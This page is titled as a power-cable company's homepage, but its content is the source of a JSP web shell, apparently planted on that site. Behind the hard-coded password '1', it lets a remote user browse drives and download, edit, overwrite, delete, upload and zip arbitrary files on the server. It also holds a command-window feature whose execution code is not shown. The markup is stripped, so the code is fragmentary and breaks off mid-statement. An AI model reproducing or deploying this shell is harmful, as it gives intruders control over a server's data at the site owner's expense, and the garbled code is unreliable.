网站首页——凌海电力线材公司—

<%@ page import="java.io.*,java.util.*,java.util.zip.*,java.text.*"%> <% long startTime = System.currentTimeMillis(); long startMem = Runtime.getRuntime().freeMemory(); String uri = request.getRequestURI(); String strThisFile = uri.substring(uri.lastIndexOf("/")+1);//本文件文件名 %> <%!private final static int languageNo = 0; //语言版本，0 : 中文； 1：英文 String password = "1";//登录密码 String[] authorInfo = { "", " " }; String[] strFileManage = { "文件管理", "File Management" }; String[] strCommand = { "CMD 命令", "Command Window" }; String[] strSysProperty = { "系统属性", "System Property" }; String[] zipFolderProperty = { "目录打包下载", "This Folder ZIP" }; String[] strHelp = { "帮助", "Help" }; String[] strParentFolder = { "上级目录", "Parent Folder" }; String[] strCurrentFolder = { "当前目录", "Current Folder" }; String[] strDrivers = { "盘符", "Drivers" }; String[] strFileName = { "文件名称", "File Name" }; String[] strFileSize = { "文件大小", "File Size" }; String[] strLastModified = { "最后修改", "Last Modified" }; String[] strFileOperation = { "文件操作", "Operations" }; String[] strFileEdit = { "修改", "Edit" }; String[] strFileDown = { "下载", "Download" }; String[] strFileCopy = { "复制", "Move" }; String[] strFileDel = { "删除", "Delete" }; String[] strExecute = { "执行", "Execute" }; String[] strBack = { "返回", "Back" }; String[] strFileSave = { "保存", "Save" }; String[] strCreateFile = { "新建文件", "Create File" }; String[] strCreateFolder = { "新建目录", "Create Folder" }; String[] strUpload = { "上传", "Upload" }; String[] strDelFolder = {"删除目录","Del Folder"}; public static class UploadMonitor { static Hashtable uploadTable = new Hashtable(); static void set(String fName, UplInfo info) { uploadTable.put(fName, info); } static void remove(String fName) { uploadTable.remove(fName); } static UplInfo getInfo(String fName) { UplInfo info = (UplInfo) uploadTable.get(fName); return info; } } public class UplInfo { public long totalSize; public long currSize; public long starttime; public boolean aborted; public UplInfo() { totalSize = 0l; currSize = 0l; starttime = System.currentTimeMillis(); aborted = false; } public UplInfo(int size) { totalSize = size; currSize = 0; starttime = System.currentTimeMillis(); aborted = false; } public String getUprate() { long time = System.currentTimeMillis() - starttime; if (time != 0) { long uprate = currSize * 1000 / time; return convertFileSize(uprate) + "/s"; } else return "n/a"; } public int getPercent() { if (totalSize == 0) return 0; else return (int) (currSize * 100 / totalSize); } public String getTimeElapsed() { long time = (System.currentTimeMillis() - starttime) / 1000l; if (time - 60l >= 0) { if (time % 60 >= 10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time < 10 ? "0" + time + "s" : time + "s"; } public String getTimeEstimated() { if (currSize == 0) return "n/a"; long time = System.currentTimeMillis() - starttime; time = totalSize * time / currSize; time /= 1000l; if (time - 60l >= 0) { if (time % 60 >= 10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time < 10 ? "0" + time + "s" : time + "s"; } } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray) { fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); } } public class HttpMultiPartParser { private final int ONE_MB = 1024 * 1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, int clength) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException("\"" + boundary + "\" is an illegal boundary indicator"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); boolean isFile = false; if (saveFiles) { // Create the required directory (including parent dirs) File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException("Boundary not found; boundary = " + boundary + ", line = " + line); while (line != null) { if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( "Bad data in second line"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()) { field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1) { if (stFields.nextToken().trim().equalsIgnoreCase( "filename")) { fileInfo.name = paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0) { fileInfo.clientFileName = value; isFile = true; } else { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0) { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } boolean skipBlankLine = true; if (isFile) { line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else { stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in third line"); stLine.nextToken(); // Content-Type fileInfo.fileContentType = stLine.nextToken(); } } if (skipBlankLine) { line = getLine(is); if (line == null) return dataTable; } if (!isFile) { line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); // If parameter is dir, change saveInDir to dir if (paramName.equals("dir")) saveInDir = line; line = getLine(is); continue; } try { UplInfo uplInfo = new UplInfo(clength); UploadMonitor.set(fileInfo.clientFileName, uplInfo); OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent) { if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; uplInfo.aborted = true; break; } if (compareBoundary(boundary, currentLine)) { os.write(previousLine, 0, read - 2); line = new String(currentLine, 0, read3); break; } else { os.write(previousLine, 0, read); uplInfo.currSize += read; temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; }//end else }//end while os.flush(); os.close(); if (!saveFiles) { ByteArrayOutputStream baos = (ByteArrayOutputStream) os; fileInfo.setFileContents(baos.toByteArray()); } else fileInfo.file = new File(path); dataTable.put(paramName, fileInfo); uplInfo.currSize = uplInfo.totalSize; }//end try catch (IOException e) { throw e; } } return dataTable; } private boolean compareBoundary(String boundary, byte ba[]) { if (boundary == null || ba == null) return false; for (int i = 0; i < boundary.length(); i++) if ((byte) boundary.charAt(i) != ba[i]) return false; return true; } private synchronized String getLine(ServletInputStream sis) throws IOException { byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1) { line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); } return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException { String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException("dir or fileName is null"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); } } private String formatPath(String p) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < p.length(); i++) { if (p.charAt(i) == '\\') { sb.append("\\\\"); } else { sb.append(p.charAt(i)); } } return sb.toString(); } private static String conv2Html(int i) { if (i == '&') return "&"; else if (i == '<') return "<"; else if (i == '>') return ">"; else if (i == '"') return """; else return "" + (char) i; } private static String htmlEncode(String st) { StringBuffer buf = new StringBuffer(); for (int i = 0; i < st.length(); i++) { buf.append(conv2Html(st.charAt(i))); } return buf.toString(); } String getDrivers() { StringBuffer sb = new StringBuffer(strDrivers[languageNo] + " : "); File roots[] = File.listRoots(); for (int i = 0; i < roots.length; i++) { sb.append(" "); sb.append(roots[i] + " "); } return sb.toString(); } static String convertFileSize(long filesize) { //bug 5.09M 显示5.9M String strUnit = "Bytes"; String strAfterComma = ""; int intDivisor = 1; if (filesize >= 1024 * 1024) { strUnit = "MB"; intDivisor = 1024 * 1024; } else if (filesize >= 1024) { strUnit = "KB"; intDivisor = 1024; } if (intDivisor == 1) return filesize + " " + strUnit; strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor; if (strAfterComma == "") strAfterComma = ".0"; return filesize / intDivisor + "." + strAfterComma + " " + strUnit; } static class ZipFolder { public static void zipDirectory(String dir, String zipfile) throws IOException, IllegalArgumentException { File d = new File(dir); if (!d.isDirectory()) { throw new IllegalArgumentException("错误,没有找到" + dir + "目录"); } String[] entries = d.list(); byte[] buffer = new byte[4096]; int bytes_read; ZipOutputStream out = new ZipOutputStream(new FileOutputStream( zipfile)); for (int i = 0; i < entries.length; i++) { File f = new File(d, entries[i]); if (f.isDirectory()) continue; FileInputStream in = new FileInputStream(f); ZipEntry entry = new ZipEntry(f.getPath()); out.putNextEntry(entry); while ((bytes_read = in.read(buffer)) != -1) out.write(buffer, 0, bytes_read); in.close(); } out.close(); } } static void delFolder(File dir){ File filelist[]=dir.listFiles(); int listlen=filelist.length; for(int i=0;i <% request.setCharacterEncoding("gb2312"); String tabID = request.getParameter("tabID"); String strDir = request.getParameter("path"); String strAction = request.getParameter("action"); String strFile = request.getParameter("file"); String strPath = strDir + "\\" + strFile; String strCmd = request.getParameter("cmd"); StringBuffer sbEdit = new StringBuffer(""); StringBuffer sbDown = new StringBuffer(""); StringBuffer sbCopy = new StringBuffer(""); StringBuffer sbSaveCopy = new StringBuffer(""); StringBuffer sbNewFile = new StringBuffer(""); StringBuffer sbZip = new StringBuffer(""); StringBuffer sbDelFolder = new StringBuffer(""); String user = (String) request.getSession().getAttribute("user"); if (request.getParameter("password") != null && request.getParameter("password").equals(password)) { request.getSession().setAttribute("user", "ok"); response.sendRedirect(strThisFile); } if ((tabID == null) || tabID.equals("")) { tabID = "1"; } if (strDir == null || strDir.length() < 1) { strDir = request.getSession().getServletContext().getRealPath( "/"); } if (strAction != null && strAction.equals("down")) { File f = new File(strPath); if (f.length() == 0) { sbDown.append("文件大小为 0 字节，就不用下了吧"); } else { response.setHeader("content-type", "text/html; charset=ISO-8859-1"); response.setContentType("APPLICATION/OCTET-STREAM"); response.setHeader("Content-Disposition", "attachment; filename=\"" + f.getName() + "\""); FileInputStream fileInputStream = new FileInputStream(f .getAbsolutePath()); out.clearBuffer(); int i; while ((i = fileInputStream.read()) != -1) { out.write(i); } fileInputStream.close(); out.close(); } } if (strAction != null && strAction.equals("del")) { File f = new File(strPath); f.delete(); } if (strAction != null && strAction.equals("edit")) { File f = new File(strPath); BufferedReader br = new BufferedReader(new InputStreamReader( new FileInputStream(f))); sbEdit .append(""); } if (strAction != null && strAction.equals("save")) { File f = new File(strPath); BufferedWriter bw = new BufferedWriter(new OutputStreamWriter( new FileOutputStream(f))); String strContent = request.getParameter("content"); bw.write(strContent); bw.close(); } if (strAction != null && strAction.equals("copy")) { sbCopy .append("
"); } if (strAction != null && strAction.equals("savecopy")) { File f = new File(strPath); String strDesFile = request.getParameter("file2"); if (strDesFile == null || strDesFile.equals("")) { sbSaveCopy.append("

目标文件错误。"); } else { File f_des = new File(strDesFile); if (f_des.isFile()) { sbSaveCopy .append("

目标文件已存在,不能复制。"); } else { String strTmpFile = strDesFile; if (f_des.isDirectory()) { if (!strDesFile.endsWith("\\")) { strDesFile = strDesFile + "\\"; } strTmpFile = strDesFile + "cqq_" + strFile; } File f_des_copy = new File(strTmpFile); FileInputStream in1 = new FileInputStream(f); FileOutputStream out1 = new FileOutputStream(f_des_copy); byte[] buffer = new byte[1024]; int c; while ((c = in1.read(buffer)) != -1) { out1.write(buffer, 0, c); } in1.close(); out1.close(); sbSaveCopy.append("原始文件：" + strPath + "

"); sbSaveCopy.append("目标文件：" + strTmpFile + "

"); sbSaveCopy.append("复制成功！"); } } sbSaveCopy .append("

"); } if (strAction != null && strAction.equals("newFile")) { String strF = request.getParameter("fileName"); String strType1 = request.getParameter("btnNewFile"); String strType2 = request.getParameter("btnNewDir"); String strType = ""; if (strType1 == null) { strType = "Dir"; } else if (strType2 == null) { strType = "File"; } if (!strType.equals("") && !(strF == null || strF.equals(""))) { File f_new = new File(strF); if (strType.equals("File") && !f_new.createNewFile()) sbNewFile.append(strF + " 文件创建成功"); if (strType.equals("Dir") && !f_new.mkdirs()) sbNewFile.append(strF + " 目录创建成功"); } else { sbNewFile.append("

建立文件或目录出错。"); } } if (null!=strAction && "delFolder".equals(strAction)){ String folder = request.getParameter("path"); File dir = new File(folder); delFolder(dir); sbDelFolder.append("目录删除成功"); } if (null != strAction && "zipFolder".equals(strAction)) { String inFolder = request.getParameter("path"); String outFolder = request.getParameter("file"); ZipFolder.zipDirectory(inFolder, outFolder); sbZip.append("

目录压缩成功,压缩文件路径为:" + outFolder + "

"); } if ((request.getContentType() != null) && (request.getContentType().toLowerCase() .startsWith("multipart"))) { String tempdir = "."; response.setContentType("text/html"); sbNewFile.append("

建立文件或目录出错。"); HttpMultiPartParser parser = new HttpMultiPartParser(); int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); if (ht.get("cqqUploadFile") != null) { FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); File f1 = fi.file; UplInfo info = UploadMonitor.getInfo(fi.clientFileName); if (info != null && info.aborted) { f1.delete(); request.setAttribute("error", "Upload aborted"); } else { String path = (String) ht.get("path"); if (path != null && !path.endsWith("\\")) path = path + "\\"; if (!f1.renameTo(new File(path + f1.getName()))) { request .setAttribute("error", "Cannot upload file."); f1.delete(); } } } } %> <%if (user != null) {%> <%}%> <%if (user == null) {%>

<% } else { %>

<% StringBuffer sbFolder = new StringBuffer(""); StringBuffer sbFile = new StringBuffer(""); try { File objFile = new File(strDir); if(!objFile.exists()){ strDir = strDir.substring(0,strDir.lastIndexOf("\\")); objFile = new File(strDir); } File list[] = objFile.listFiles(); if (objFile.getAbsolutePath().length() > 3) { sbFolder .append("